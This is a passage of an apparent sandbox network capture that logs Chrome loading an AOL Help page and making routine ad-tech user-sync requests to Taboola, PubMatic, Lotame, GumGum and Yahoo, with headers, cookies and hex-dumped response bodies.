axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A
2024-05-23 22:35:06 UTC	533	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: text/html;charset=utf-8 Server: ATS vary: origin,accept-encoding strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: no-cache Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 37 65 36 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 4f 4c 20 48 65 6c 70 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d 68 6f 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 67 75 63 65 2e 61 6f 6c 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: 7e6d<!DOCTYPE html><html lang="en"><head><title>AOL Help</title><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="oath:guce:consent-host" content="guce.aol.com"><meta name="viewport" content="width=device-width, init
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 65 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 6c 2f 66 61 71 2e 70 6e 67 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 41 4f 4c 43 75 73 74 6f 6d 65 72 43 61 72 65 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 61 70 70 5f 69 64 22 3a 22 33 36 35 33 39 38 35 38 33 34 39 33 34 34 32 22 2c 22 74 77 69 74 74 65 72 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 2f 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 2c 22 74 77 69 74 74 65 72 5f 75 73 65 72 6e 61 6d 65 22 3a 22 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 7d 2c 22 68 61 73 5f 63 Data Ascii: e_url":"https://s.aolcdn.com/os/help-main/content-types/l/faq.png","facebook_url":"https://www.facebook.com/AOLCustomerCare","facebook_app_id":"365398583493442","twitter_url":"https://twitter.com/AOLSupportHelp","twitter_username":"AOLSupportHelp"},"has_c
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 70 73 3a 2f 2f 61 70 69 2e 63 6f 6e 74 65 6e 74 2e 61 6f 6c 2e 63 6f 6d 22 2c 22 61 6c 65 72 74 22 3a 22 63 6f 6e 74 65 6e 74 2f 61 6c 65 72 74 2f 7b 73 6b 75 7d 3f 73 69 74 65 3d 75 73 61 6f 6c 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 75 74 69 6c 69 74 79 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 75 74 69 6c 69 74 79 2d 7b 73 75 70 70 6f 72 74 5f 6c 65 76 65 6c 7d 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 66 6f 6f 74 65 72 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 66 6f 6f 74 65 72 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 72 61 69 6c 22 3a 22 63 61 74 61 6c 6f 67 2f 63 Data Ascii: ps://api.content.aol.com","alert":"content/alert/{sku}?site=usaol","navigation_utility":"catalog/cms/help-central-usaol-navigation-utility-{support_level}","navigation_footer":"catalog/cms/help-central-usaol-navigation-footer","navigation_rail":"catalog/c
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 6f 6c 63 64 6e 2e 63 6f 6d 2f 70 73 73 74 61 74 69 63 2f 61 6f 6c 68 65 6c 70 2d 70 72 6f 64 2f 31 38 2e 35 2e 35 33 2f 61 73 73 65 74 73 2f 6d 6f 64 75 6c 65 73 2f 22 3b 0a 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 61 73 73 65 74 73 55 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 70 73 73 74 61 74 69 63 2f 61 6f 6c 68 65 6c 70 2d 70 72 6f 64 2f 31 38 2e 35 2e 35 33 2f 61 73 73 65 74 73 22 3b 0a 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 61 2f 63 6f 6e 73 65 6e 74 2e 6a 73 22 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 Data Ascii: olcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/";AolHelpGlobals.assetsUrl = "https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets";</script><script type="text/javascript" src="https://s.yimg.com/oa/consent.js" async></script><script type="t
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 6f 6e 74 61 63 74 20 63 75 73 74 6f 6d 65 72 20 63 61 72 65 20 62 79 20 65 6d 61 69 6c 2c 20 63 68 61 74 2c 20 6f 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 2e 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 6c 2f 66 61 71 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 61 6f 6c 2e 63 6f 6d 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 22 3e 3c 6d 65 74 61 20 Data Ascii: ontact customer care by email, chat, or phone number."><meta property="og:image" content="https://s.aolcdn.com/os/help-main/content-types/l/faq.png"><meta property="og:url" content="https://help.aol.com/"><meta name="twitter:card" content="summary"><meta
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 32 31 29 2c 73 3d 7b 7d 3b 74 72 79 7b 6f 3d 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 5f 5f 6e 72 5f 66 6c 61 67 73 22 29 2e 73 70 6c 69 74 28 22 2c 22 29 2c 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 28 73 2e 63 6f 6e 73 6f 6c 65 3d 21 30 2c 6f 2e 69 6e 64 65 78 4f 66 28 22 64 65 76 22 29 21 3d 3d 2d 31 26 26 28 73 2e 64 65 76 3d 21 30 29 2c 6f 2e 69 6e 64 65 78 4f 66 28 22 6e 72 5f 64 65 76 22 29 21 3d 3d 2d 31 26 26 28 73 2e 6e 72 44 65 76 3d 21 30 29 29 7d 63 61 74 63 68 28 63 29 7b 7d 73 2e 6e 72 44 65 76 26 26 69 2e 6f 6e 28 22 69 6e 74 65 72 6e 61 6c 2d 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 28 74 2e 73 74 61 63 6b 29 7d 29 Data Ascii: 21),s={};try{o=localStorage.getItem("__nr_flags").split(","),console&&"function"==typeof console.log&&(s.console=!0,o.indexOf("dev")!==-1&&(s.dev=!0),o.indexOf("nr_dev")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on("internal-error",function(t){r(t.stack)})
2024-05-23 22:35:06 UTC	14	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 Data Ascii: function(t,n,e
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 29 7b 74 28 22 6c 6f 61 64 65 72 22 29 2e 66 65 61 74 75 72 65 73 2e 69 6e 73 3d 21 30 7d 2c 7b 7d 5d 2c 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 7d 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 76 61 72 20 6f 3d 74 28 22 65 65 22 29 2c 69 3d 74 28 22 68 61 6e 64 6c 65 22 29 2c 61 3d 74 28 39 29 2c 73 3d 74 28 38 29 2c 63 3d 22 6c 65 61 72 52 65 73 6f 75 72 63 65 54 69 6d 69 6e 67 73 22 2c 66 3d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 75 3d 22 72 65 73 6f 75 72 63 65 74 Data Ascii: ){t("loader").features.ins=!0},{}],4:[function(t,n,e){function r(t){}if(window.performance&&window.performance.timing&&window.performance.getEntriesByType){var o=t("ee"),i=t("handle"),a=t(9),s=t(8),c="learResourceTimings",f="addEventListener",u="resourcet
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 6c 29 5d 29 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 5b 22 77 65 62 6b 69 74 43 22 2b 63 5d 28 29 7d 2c 21 31 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 73 63 72 6f 6c 6c 22 2c 72 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 6b 65 79 70 72 65 73 73 22 2c 72 2c 21 31 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 63 6c 69 63 6b 22 2c 72 2c 21 31 29 7d 7d 2c 7b 7d 5d 2c 35 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 3b 6e 26 26 21 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 75 29 3b 29 6e 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 3b 6e 26 26 6f 28 6e 29 7d 66 75 6e 63 74 69 6f Data Ascii: l)]),window.performance["webkitC"+c]()},!1)),document[f]("scroll",r,{passive:!0}),document[f]("keypress",r,!1),document[f]("click",r,!1)}},{}],5:[function(t,n,e){function r(t){for(var n=t;n&&!n.hasOwnProperty(u);)n=Object.getPrototypeOf(n);n&&o(n)}functio
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 3d 77 69 6e 64 6f 77 2c 63 3d 22 66 65 74 63 68 2d 22 2c 66 3d 63 2b 22 62 6f 64 79 2d 22 2c 75 3d 5b 22 61 72 72 61 79 42 75 66 66 65 72 22 2c 22 62 6c 6f 62 22 2c 22 6a 73 6f 6e 22 2c 22 74 65 78 74 22 2c 22 66 6f 72 6d 44 61 74 61 22 5d 2c 64 3d 73 2e 52 65 71 75 65 73 74 2c 6c 3d 73 2e 52 65 73 70 6f 6e 73 65 2c 70 3d 73 2e 66 65 74 63 68 2c 68 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 6d 3d 22 6e 72 40 63 6f 6e 74 65 78 74 22 3b 64 26 26 6c 26 26 70 26 26 28 61 28 75 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 28 64 5b 68 5d 2c 6e 2c 66 29 2c 72 28 6c 5b 68 5d 2c 6e 2c 66 29 7d 29 2c 72 28 73 2c 22 66 65 74 63 68 22 2c 63 29 2c 6f 2e 6f 6e 28 63 2b 22 65 6e 64 22 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 Data Ascii: =window,c="fetch-",f=c+"body-",u=["arrayBuffer","blob","json","text","formData"],d=s.Request,l=s.Response,p=s.fetch,h="prototype",m="nr@context";d&&l&&p&&(a(u,function(t,n){r(d[h],n,f),r(l[h],n,f)}),r(s,"fetch",c),o.on(c+"end",function(t,n){var e=this;if(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.6	50292	151.101.193.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	465	OUT	GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA HTTP/1.1 Host: trc.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:06 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:06 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14;Version=1;Path=/;Domain=.taboola.com;Expires=Fri, 23-May-2025 22:35:06 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 16773 Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-nyc-kteb1890040-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503707.605878,VS0,VE18 X-vcl-time-ms: 18 transfer-encoding: chunked
2024-05-23 22:35:06 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-05-23 22:35:06 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.6	50271	52.17.55.191	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	685	OUT	GET /qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=&ct=y HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_cc=ctst
2024-05-23 22:35:06 UTC	693	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.5.206 Set-Cookie: _cc_dc=1;Path=/;Domain=crwdcntrl.net;Expires=Mon, 17-Feb-2025 22:02:00 GMT;SameSite=None;Secure Set-Cookie: _cc_id=31844579825d5abe94875f194e1afa4a;Path=/;Domain=crwdcntrl.net;Expires=Mon, 17-Feb-2025 22:02:00 GMT;SameSite=None;Secure Set-Cookie: _cc_cc="";Version=1;Path=/;Domain=crwdcntrl.net;Expires=Thu, 01-Jan-1970 02:01:00 GMT;Max-Age=0;SameSite=None;Secure Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-05-23 22:35:06 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.6	50272	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1618	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=wDRi3Y1XWudtyec5KKvj7ggue68&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704
2024-05-23 22:35:06 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:06 GMT; path=/ Set-Cookie: PugT=1716503706; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.6	50270	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	452	OUT	GET /usersync?b=oth&i=y-BSMCIFhE2pcm2NCXOZVvX6OjZ.YQy641a2GU~A HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.6	50283	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	780	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila"
2024-05-23 22:35:06 UTC	455	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:06 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-05-23 22:35:06 UTC	71	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 44 52 56 42 68 64 46 59 31 52 54 4a 31 53 45 78 58 65 46 46 4b 57 48 4a 73 62 7a 4d 30 65 48 4a 35 61 6d 74 52 4f 55 39 43 4e 48 35 42 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3c{"axid": "eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.6	50284	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	910	OUT	GET /setuid?bidder=gumgum&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifX19
2024-05-23 22:35:06 UTC	844	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi42OTgzNTIyNTlaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:06 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 0 date: Thu, 23 May 2024 22:35:06 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.6	50274	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
